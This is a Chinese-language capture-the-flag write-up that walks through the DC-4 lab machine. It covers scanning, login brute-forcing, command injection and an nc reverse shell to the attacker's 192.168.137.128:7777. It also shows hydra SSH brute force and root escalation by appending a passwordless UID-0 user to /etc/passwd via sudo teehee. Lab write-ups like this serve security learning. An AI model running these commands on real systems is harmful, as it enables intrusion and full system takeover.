DC-4靶场

DC-4靶场

信息收集

扫描

  • nmap扫描,发现ip为192.168.137.132,开放端口为22和80

    image-20250224191749356

  • 先访问80看看,仅有一个登录框。是一个简单页面,使用的框架只有nginx。

    image-20250224192016055

  • 扫描目录

    image-20250224195922952

测试

  • 尝试sql注入,未果。

  • 尝试爆破,由于第一次爆破时携带了cookie,导致从正确密码开始这个cookie就被记录了,后面的错误密码也可以正常登录,所以正确密码找半天也没找到,然后又删掉cookie字段重新试了一遍,找到正确密码为happy

    image-20250224213717323

  • 登录跳转command.php

    image-20250224200027764

  • 劫持List Files请求的数据包,发现发送的为POST请求,请求体为ls -l命令

    image-20250224200436431

  • 修改命令用于查找flag文件,结果显示如下

    You have selected: find / -name *flag* -type f
    /usr/share/man/nl/man1/dpkg-buildflags.1.gz
    /usr/share/man/de/man1/dpkg-buildflags.1.gz
    /usr/share/man/man2/ioctl_iflags.2.gz
    /usr/share/man/man1/dpkg-buildflags.1.gz
    /usr/share/dpkg/buildflags.mk
    /usr/include/linux/tty_flags.h
    /usr/include/linux/kernel-page-flags.h
    /usr/include/i386-linux-gnu/asm/processor-flags.h
    /usr/include/i386-linux-gnu/bits/waitflags.h
    /usr/bin/dpkg-buildflags
    /usr/lib/i386-linux-gnu/perl/5.24.1/bits/waitflags.ph
    /sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
    /sys/devices/platform/serial8250/tty/ttyS2/flags
    /sys/devices/platform/serial8250/tty/ttyS0/flags
    /sys/devices/platform/serial8250/tty/ttyS3/flags
    /sys/devices/platform/serial8250/tty/ttyS1/flags
    /sys/devices/system/cpu/cpu0/microcode/processor_flags
    /sys/devices/virtual/net/lo/flags
    /sys/module/scsi_mod/parameters/default_dev_flags
    /proc/sys/kernel/acpi_video_flags
    /proc/kpageflags
  • 没有找到对的flag文件

getshell

  • 通过更改数据包的请求体来执行命令局限性大,且繁琐,通过反弹shell的方式getshell

  • 先在kali上监听7777端口,然后修改请求体为radio=nc+-e+/bin/bash+192.168.137.128+7777&submit=Run

    image-20250224204758807

  • 查找SUID权限文件

    image-20250224205136613

  • 虽然发现/home/jim/test.sh的权限为4777,但是该文件属主为jim而非root,所以作用也不大

    image-20250224205404159

提权

  • 但是在jim的家目录中发现一个old-passwords文件,内容为旧密码字典,可以将其保存用于爆破

    image-20250224212513057

  • 使用hydra爆破[email protected],得到密码为jibril04

    image-20250224214236557

  • ssh登录jim,系统提示有一封邮件,查看邮件获得Charles用户的密码为^xHhA&hvim0y

    image-20250224214915419

  • 再使用charles用户登录,注意c为小写

    image-20250224215304275

  • 查看可以无密码sudo执行的命令,根据帮助信息发现teehee是将标准输入复制到执行文件中,其中-a选项是将内容追加到文件中。并显示标准输出

    image-20250224215544611

  • 所以可以通过向/etc/passwd文件中加一个无密码的root权限用户,然后su到该用户从而提权

    echo "jeery::0:0:root::/bin/bash" | sudo teehee -a /etc/passwd
    
    # 登录用户名:密码:用户UID:组ID:备注:$HOME目录位置:用户默认shell

flag

image-20250224220125416

暂无评论

发送评论 编辑评论


				
上一篇
下一篇